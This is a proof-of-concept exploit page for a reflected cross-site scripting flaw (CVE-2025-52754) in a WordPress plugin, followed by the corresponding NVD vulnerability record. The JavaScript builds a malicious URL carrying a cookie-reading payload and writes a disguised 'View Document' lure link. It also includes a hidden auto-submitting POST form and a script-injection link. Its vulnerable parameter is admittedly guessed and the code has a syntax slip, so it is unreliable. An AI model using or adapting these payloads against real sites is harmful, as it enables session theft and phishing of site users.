CVE-2025-52754

<!-- CVE-2025-52754 PoC: Reflected XSS in Sello ChannelConnector --> <!-- Target: WordPress site with Sello ChannelConnector plugin <= 1.6.3 --> <!-- This PoC demonstrates the reflected XSS vulnerability --> <!-- Malicious URL to trigger XSS --> <!-- Replace 'TARGET_URL' with the vulnerable WordPress site URL --> <script> // Construct the malicious URL const targetUrl = 'TARGET_URL'; const maliciousPayload = '<img src=x onerror="alert(document.cookie)">'>; // Generate the attack URL with XSS payload in parameter // Common vulnerable parameters might be: id, page, redirect, callback, etc. const attackUrl = `${targetUrl}/wp-content/plugins/sello-channelconnector/?param=${encodeURIComponent(maliciousPayload)}`; console.log('Malicious URL:', attackUrl); // Display the link for social engineering attack document.write('<h2>CVE-2025-52754 PoC</h2>'); document.write('<p>Click the link below:</p>'); document.write(`<a href="${attackUrl}">View Document</a>`); // Alternative: Auto-submit form for POST-based reflection const pocForm = ` <form id="xssForm" method="POST" action="${targetUrl}/wp-admin/admin-post.php"> <input type="hidden" name="action" value="sello_sync"> <input type="hidden" name="data" value="${maliciousPayload}"> </form> <script> // Auto-submit form (uncomment for automatic testing) // document.getElementById('xssForm').submit(); </script> `; </script> <!-- HTML version --> <!-- <a href="http://TARGET_URL/wp-content/plugins/sello-channelconnector/?return_url=<script>alert(document.domain)</script>">Click here</a> -->

{"cve": {"id": "CVE-2025-52754", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:45.313", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in selloio Sello ChannelConnector sello-channelconnector allows Reflected XSS.This issue affects Sello ChannelConnector: from n/a through <= 1.6.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sello-channelconnector/vulnerability/wordpress-sello-channelconnector-plugin-1-6-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}